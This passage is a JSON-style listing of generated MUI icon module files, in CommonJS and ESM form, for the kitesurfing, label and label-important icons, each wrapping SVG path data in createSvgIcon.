    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5h2v3H8zm0 7h2v5H8zm-2 8h12v-9.02H6zm2-8h2v5H8zM6 9h12V4H6zm2-4h2v3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2.01 6 2a2 2 0 0 0-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.11-.9-1.99-2-1.99M18 20H6v-9.02h12zm0-11H6V4h12zM8 5h2v3H8zm0 7h2v5H8z\"\n}, \"1\")], 'KitchenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Kitesurfing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17l-1.55-2.97C6.15 13.3 6 12.64 6 12V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'Kitesurfing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Kitesurfing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17l-1.55-2.97C6.15 13.3 6 12.64 6 12V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'Kitesurfing');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17l-1.55-2.97C6.15 13.3 6 12.64 6 12V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'KitesurfingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17l-1.55-2.97C6.15 13.3 6 12.64 6 12V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'KitesurfingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m10.03.97c.29.29.77.29 1.06 0L20.06 1h-2.12l-1.91 1.91c-.29.29-.29.77 0 1.06M19.15 12c-1.29 0-3.11.53-5.06 1.38L13 12.16c-.38-.42-.92-.66-1.49-.66H9.6V8H11c1.52 0 2.94-.49 4.09-1.32.49-.35.52-1.07.09-1.5-.35-.35-.9-.38-1.3-.09-.82.57-1.81.91-2.88.91H8c-1.1 0-2 .9-2 2v4.04c0 .64.15 1.27.45 1.83L8 16.84c-.53.38-1.03.78-1.49 1.17.68.58 1.55.99 2.49.99 1.2 0 2.27-.66 3-1.5.73.84 1.8 1.5 3 1.5.33 0 .65-.05.96-.14C18.81 16.9 21 14.72 21 13.28c0-1.03-1.01-1.28-1.85-1.28m-9.32 3.61L9 13.6l2.5-.1.7.77c-.56.28-1.78.96-2.37 1.34M22 22c0-.55-.45-1-1-1-.87 0-1.73-.24-2.53-.7-.29-.16-.65-.17-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-.8.46-1.66.7-2.53.7-.55 0-1 .45-1 1s.45 1 1 1c1.15 0 2.3-.31 3.33-.94 1.66 1.11 3.78 1.01 5.58.14 1.91 1.05 4.17 1.07 6.09.05.95.5 1.97.75 3 .75.55 0 1-.45 1-1\"\n}), 'KitesurfingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m10.03.97c.29.29.77.29 1.06 0L20.06 1h-2.12l-1.91 1.91c-.29.29-.29.77 0 1.06M19.15 12c-1.29 0-3.11.53-5.06 1.38L13 12.16c-.38-.42-.92-.66-1.49-.66H9.6V8H11c1.52 0 2.94-.49 4.09-1.32.49-.35.52-1.07.09-1.5-.35-.35-.9-.38-1.3-.09-.82.57-1.81.91-2.88.91H8c-1.1 0-2 .9-2 2v4.04c0 .64.15 1.27.45 1.83L8 16.84c-.53.38-1.03.78-1.49 1.17.68.58 1.55.99 2.49.99 1.2 0 2.27-.66 3-1.5.73.84 1.8 1.5 3 1.5.33 0 .65-.05.96-.14C18.81 16.9 21 14.72 21 13.28c0-1.03-1.01-1.28-1.85-1.28m-9.32 3.61L9 13.6l2.5-.1.7.77c-.56.28-1.78.96-2.37 1.34M22 22c0-.55-.45-1-1-1-.87 0-1.73-.24-2.53-.7-.29-.16-.65-.17-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-.8.46-1.66.7-2.53.7-.55 0-1 .45-1 1s.45 1 1 1c1.15 0 2.3-.31 3.33-.94 1.66 1.11 3.78 1.01 5.58.14 1.91 1.05 4.17 1.07 6.09.05.95.5 1.97.75 3 .75.55 0 1-.45 1-1\"\n}), 'KitesurfingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17L6 13V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'KitesurfingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17L6 13V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'KitesurfingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17l-1.55-2.97C6.15 13.3 6 12.64 6 12V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'KitesurfingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KitesurfingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m14.06-2h-2.12L15.5 3.44l1.06 1.06zM22 23v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75zm-1-9.72c0 1.44-2.19 3.62-5.04 5.58-.31.09-.63.14-.96.14-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.94 0-1.81-.41-2.49-.99.46-.39.96-.78 1.49-1.17l-1.55-2.97C6.15 13.3 6 12.64 6 12V8c0-1.1.9-2 2-2h3c1.38 0 2.63-.56 3.54-1.46l1.41 1.41C14.68 7.21 12.93 8 11 8H9.6v3.5h2.8l1.69 1.88c1.95-.84 3.77-1.38 5.06-1.38.84 0 1.85.25 1.85 1.28m-8.8.99-.7-.77-2.5.1.83 2.01c.59-.38 1.81-1.06 2.37-1.34\"\n}), 'KitesurfingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Label.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84L22 12z\"\n}), 'Label');"
  },
  {
    "path": "packages/mui-icons-material/lib/Label.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84L22 12z\"\n}), 'Label');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportant.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.5 18.99 11 .01c.67 0 1.27-.33 1.63-.84L20.5 12l-4.37-6.16c-.36-.51-.96-.84-1.63-.84l-11 .01L8.34 12z\"\n}), 'LabelImportant');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportant.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.5 18.99 11 .01c.67 0 1.27-.33 1.63-.84L20.5 12l-4.37-6.16c-.36-.51-.96-.84-1.63-.84l-11 .01L8.34 12z\"\n}), 'LabelImportant');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H4.83c-.79 0-1.27-.88-.84-1.54L7.5 12 3.99 6.54C3.56 5.88 4.04 5 4.83 5H15c.65 0 1.26.31 1.63.84l3.96 5.58c.25.35.25.81 0 1.16l-3.96 5.58c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H4.83c-.79 0-1.27-.88-.84-1.54L7.5 12 3.99 6.54C3.56 5.88 4.04 5 4.83 5H15c.65 0 1.26.31 1.63.84l3.96 5.58c.25.35.25.81 0 1.16l-3.96 5.58c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.03 19H3l4.5-7L3 5h13.03L21 12zM6.5 17H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.03 19H3l4.5-7L3 5h13.03L21 12zM6.5 17H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19H3l4.5-7L3 5h12c.65 0 1.26.31 1.63.84L21 12l-4.37 6.16c-.37.52-.98.84-1.63.84m-8.5-2H15l3.5-5L15 7H6.5l3.5 5z\"\n}), 'LabelImportantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.94 18.99H15c.65 0 1.26-.31 1.63-.84l3.95-5.57c.25-.35.25-.81 0-1.16l-3.96-5.58C16.26 5.31 15.65 5 15 5H5.94c-.81 0-1.28.93-.81 1.59L9 12l-3.87 5.41c-.47.66 0 1.58.81 1.58\"\n}), 'LabelImportantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.94 18.99H15c.65 0 1.26-.31 1.63-.84l3.95-5.57c.25-.35.25-.81 0-1.16l-3.96-5.58C16.26 5.31 15.65 5 15 5H5.94c-.81 0-1.28.93-.81 1.59L9 12l-3.87 5.41c-.47.66 0 1.58.81 1.58\"\n}), 'LabelImportantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18.99h12.04L21 12l-4.97-7H4l5 7z\"\n}), 'LabelImportantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18.99h12.04L21 12l-4.97-7H4l5 7z\"\n}), 'LabelImportantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelImportantTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7H7.89l3.57 5-3.57 5H15l3.55-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.63 5.84C16.27 5.33 15.67 5 15 5H4l5 7-5 6.99h11c.67 0 1.27-.32 1.63-.83L21 12zM15 17H7.89l3.57-5-3.57-5H15l3.55 5z\"\n}, \"1\")], 'LabelImportantTwoTone');"
  },
